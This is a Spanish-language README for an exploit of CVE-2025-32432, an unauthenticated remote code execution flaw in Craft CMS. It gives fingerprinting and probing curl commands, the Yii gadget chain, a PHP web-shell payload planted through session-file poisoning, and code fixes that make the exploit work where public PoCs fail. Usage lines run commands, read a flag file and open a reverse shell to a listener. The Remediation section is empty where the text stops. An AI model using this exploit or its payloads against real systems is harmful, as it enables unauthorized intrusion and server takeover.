CVE-2025-32432 — Craft CMS <= 5.6.16 RCE no autenticado

Severidad: Crítica (CVSS 10.0) Autenticación requerida: Ninguna Afectados: Craft CMS 3.0.0-RC1 - 3.9.14, 4.0.0-RC1 - 4.14.14, 5.0.0-RC1 - 5.6.16 Parcheado en: Craft CMS 3.9.15 / 4.14.15 / 5.6.17, Yii2 2.0.50

---

Identificar (Cómo confirmar que el objetivo es vulnerable)

Antes de explotar, confirma que el objetivo ejecuta una versión vulnerable de Craft CMS.

Paso 1 — Huella de la versión de Craft CMS

curl -s http://target/cms/index.php | grep -i craft
curl -s http://target/cms/web.config
curl -s http://target/cms/composer.json | python3 -m json.tool | grep craftcms

Paso 2 — Sondear el endpoint vulnerable (comprobación de acceso anónimo)

curl -s -o /dev/null -w "%{http_code}" \
  -X POST http://target/cms/actions/assets/generate-transform \
  -H "Content-Type: application/json" \
  -d '{"assetId":1,"handle":{"width":1,"height":1}}'

• HTTP 400 = el endpoint existe (Craft está en ejecución), falta CSRF
• HTTP 404 = no es Craft o la ruta es incorrecta
• HTTP 500 = el gadget se disparó (assetId válido, endpoint accesible)

Paso 3 — Confirmar con escaneo de assetId

python3 exploit.py -u http://target/cms -c "id"

Si la salida contiene uid= el objetivo está confirmado como vulnerable y se ha logrado RCE.

---

Causa raíz

AssetsController::actionGenerateTransform() está declarado allowAnonymous, lo que lo hace accesible sin autenticación. Pasa el parámetro handle controlado por el usuario directamente a Yii::createObject():

protected array|bool|int $allowAnonymous = ['generate-thumb', 'generate-transform'];

public function actionGenerateTransform(): Response
{
    $handle = Craft::$app->getRequest()->getBodyParam('handle');
    $transform = ImageTransforms::normalizeTransform($handle); // -> Yii::createObject($handle)
}

El contenedor DI de Yii trata dos claves de array especiales sin ninguna lista de permitidos:

Clave	Comportamiento
__class	Instancia esta clase en lugar del tipo declarado
__construct()	Pasa estos valores como argumentos del constructor

Cadena de gadgets:

handle[as x][__class]       = yii\rbac\PhpManager
handle[as x][__construct()] = [{"itemFile": "/tmp/sess_<CraftSessionId>"}]
                                        |
    PhpManager::init() -> load() -> loadFromFile($itemFile) -> require $itemFile

El envenenamiento del archivo de sesión cierra el círculo: PHP almacena los parámetros GET tal cual en /tmp/sess_<CraftSessionId>. Plantar <?=shell_exec($_GET['cmd']);exit;?> allí otorga RCE.

---

Por qué fallan los PoCs públicos existentes

1. La codificación de URL destruye el payload PHP

Problema raíz: Python requests codifica <, >, ?, = antes de enviar. El manejador de sesiones de PHP almacena los bytes codificados en porcentaje — no PHP ejecutable.

Payload codificado (ROTO — lo que requests envía realmente por el cable)

GET /index.php?p=admin/dashboard&cve202532432=%3C%3F%3Dshell_exec%28%24_GET%5B%27cmd%27%5D%29%3Bexit%3B%3F%3E HTTP/1.1

# Session file stores:
returnUrl|s:107:"...&cve202532432=%3C%3F%3Dshell_exec%28%24_GET%5B%27cmd%27%5D%29%3Bexit%3B%3F%3E"
# PHP sees a plain string — no PHP tags — nothing executes.

Payload sin codificar (CORREGIDO — lo que enviamos tras el monkey-patching)

GET /index.php?p=admin/dashboard&cve202532432=<?=shell_exec($_GET['cmd']);exit;?> HTTP/1.1

# Session file stores:
returnUrl|s:107:"...&cve202532432=<?=shell_exec($_GET['cmd']);exit;?>"
# When require()'d, PHP executes shell_exec and returns the output.

Solución: Aplicar monkey-patch a HTTPConnectionPool._make_request — el último punto antes de TCP — y llamar a urllib.parse.unquote() allí:

def _raw_request(self, conn, method, url, **kw):
    url = urllib.parse.unquote(url)   # restore < > ? = just before socket write
    return self._orig_req(conn, method, url, **kw)

urllib3.connectionpool.HTTPConnectionPool._orig_req = urllib3.connectionpool.HTTPConnectionPool._make_request
urllib3.connectionpool.HTTPConnectionPool._make_request = _raw_request

2. Nombre de cookie de sesión incorrecto

El estándar: La cookie de sesión predeterminada de PHP es PHPSESSID. Craft CMS la sobrescribe en la configuración de su aplicación:

// craft/config/app.php (Craft CMS source)
'session' => [
    'class' => craft\web\Session::class,
    'cookieName' => 'CraftSessionId',   // <-- custom name, NOT PHPSESSID
],

Esto significa que el archivo de sesión en disco es /tmp/sess_<CraftSessionId>, no /tmp/sess_<PHPSESSID>.

Comparación de cookies

Propiedad	Predeterminado de PHP	Craft CMS
Nombre de cookie	PHPSESSID	CraftSessionId
Archivo de sesión	/tmp/sess_abc123	/tmp/sess_abc123
Cómo leer	session.cookies.get("PHPSESSID")	session.cookies.get("CraftSessionId")
Qué ocurre si es incorrecto	Se devuelve None	la ruta itemFile apunta a un archivo inexistente
Resultado	el exploit falla silenciosamente	sin error — require() simplemente falla

# BROKEN — reads PHPSESSID, gets None
session_id = session.cookies.get("PHPSESSID")
item_file  = f"/tmp/sess_{session_id}"   # -> "/tmp/sess_None" — does not exist

# FIXED — reads the actual Craft cookie
session_id = sess.cookies.get("CraftSessionId")
item_file  = f"/tmp/sess_{session_id}"   # -> "/tmp/sess_u8p2hn4kfgol9nbjkcvnv7ag6u"

Puedes verificar el nombre correcto de la cookie inspeccionando las DevTools del navegador tras visitar cualquier página de Craft, o comprobando la cabecera de respuesta Set-Cookie:

curl -sI http://target/cms/index.php | grep -i set-cookie
# Set-Cookie: CraftSessionId=u8p2hn4kfgol9nbjkcvnv7ag6u; path=/; HttpOnly

3. Falta el token CSRF en la petición de activación

Craft valida los tokens CSRF en todas las acciones POST no anónimas. Omitir el token provoca 400 Bad Request.

# BROKEN
requests.post(url, json=payload)

# FIXED — extract CRAFT_CSRF_TOKEN from login page HTML, send as header
requests.post(url, json=payload, headers={"X-CSRF-Token": csrf})

Tabla comparativa

Problema	PoCs de envenenamiento de logs	Sesión (cookie incorrecta)	Sesión (sin CSRF)	Este PoC
Codificación de URL	N/A (User-Agent)	ROTO	ROTO	CORREGIDO con monkey-patch
Nombre de cookie	N/A	ROTO PHPSESSID	ROTO PHPSESSID	CORREGIDO CraftSessionId
CSRF en la activación	OK	OK	ROTO	CORREGIDO
exit; en log obsoleto	ROTO	N/A	N/A	N/A
Funciona con prefijo /cms	ROTO	ROTO	ROTO	CORREGIDO

---

Uso

usage: exploit.py [-h] -u URL [-c CMD] [-a ASSET_ID] [-s SCAN_MAX]
                  [--revshell] [--lhost LHOST] [--lport LPORT]

options:
  -u URL          Craft CMS base URL including path prefix
  -c CMD          Shell command to execute
  -a ASSET_ID     Known valid assetId (skips auto-scan)
  -s SCAN_MAX     Upper bound for assetId scan (default: 50)
  --revshell      Send a Python3 reverse shell
  --lhost LHOST   Listener IP (required with --revshell)
  --lport LPORT   Listener port (required with --revshell)

python3 exploit.py -u http://target:8088/cms -c "id"
python3 exploit.py -u http://target:8088/cms -c "cat /flag/flag.txt"

# Reverse shell (Python3 — avoids /dev/tcp and bash quoting issues)
nc -lvnp 4444
python3 exploit.py -u http://target:8088/cms --revshell --lhost 10.10.14.1 --lport 4444

---

Remediación